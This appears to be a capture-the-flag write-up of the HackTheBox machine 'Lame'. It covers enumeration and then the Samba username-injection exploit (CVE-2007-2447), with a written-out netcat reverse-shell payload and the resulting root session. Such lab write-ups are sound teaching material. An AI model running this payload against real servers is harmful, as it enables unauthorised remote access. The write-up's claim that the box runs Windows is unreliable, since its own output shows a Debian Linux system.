on
HTB - Lame
I’ve just completed Lame from HTB! In my opinion, Lame is an easy box that provides a quick introduction to the Windows Operating System. Here is a quick writeup about how I solved this box.
HTB - Lame
Box : Lame
IP Address : 10.10.10.3
Operating System : Windows
Remarks
- While doing this box, I failed to realize that
Sambahas actually turned off SMBv1 support. Hence, I was met with a lot of connection errors when I attempted to pwn the box (And a lot of hair-tearing sessions!!)
Enumeration
As with any other box, let’s do a quick Nmap scan to identify the possible open ports. For this box, there is slight more open ports, 5 in fact - namely ports 21, 22, 139, 445 and 3632.
Port 21 belongs to an FTP server, port 22 belongs to an SSH server, port 3632 belongs to a distccd server while ports 139 and 445 belong to a netbios-ssn server. Both ports 139 and 445 uses Samba, but the main difference is the version of Samba used.
Firstly, we do a searchsploit for existing vulnerability to Port 21, and we discovered that vsftpd 2.3.4 running on Port 21 may be vulnearble to backdoor command execution.
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remot | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote D | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote D | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/17491.rb
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
------------------------------------------- ---------------------------------
To verify this, we will scan for the vulnerability using Nmap. Sadly, this port doesn’t seem to be vulnerable to such a backdoor exploitation.
Exploitation
Noticing that Ports 139 and 445 uses Samba and also knowing that Samba is a SMB networking protocol. We will now try to connect to the SMB server using the SMBv1 protocol, reason being that SMBv1 has more vulnerabilities and attack vectors for us to try. One thing to note though is that Samba has actually turned off its SMBv1 support, so we would have to supply client min protocol=NT1 argument for it to work. At the same time, we also realize that we could log in to the server anonymously.
┌──(kali㉿kali)-[~]
└─$ smbclient -L 10.10.10.3 --option='client min protocol=NT1'
Enter WORKGROUP\kali's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
Knowing that we can login to the Samba server without any credentials, we also found CVE 2007-2447 exploit from exploitdb that allows the username parameter to be injected to run command in the SMB server. This could then be used to create a reverse shell to the attacker’s machine.
To do so, we will first have to create a listener on the attacker’s machine
nc -nlvp 3000
Afterwards, all we have to do is to connect to the SMB client and send the metacharacters into the username with the reverse shell payload
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.10.3/tmp 1 ⚙
Enter WORKGROUP\kali's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "./=`nohup nc -e /bin/sh 10.10.16.250 3000`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \>
Obtaining the system flag
Afterwards a connection will be received on the attacker’s machine. All we that is left to do is to stabilize the shell and obtain the system flag.
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nlvp 3000
listening on [any] 3000 ...
connect to [10.10.16.250] from (UNKNOWN) [10.10.10.3] 49928
python -c 'import pty; pty.spawn("bash")'
root@lame:/# cd /root
cd /root
root@lame:/root# ls
ls
Desktop reset_logs.sh root.txt vnc.log
root@lame:/root# cat root.txt
cat root.txt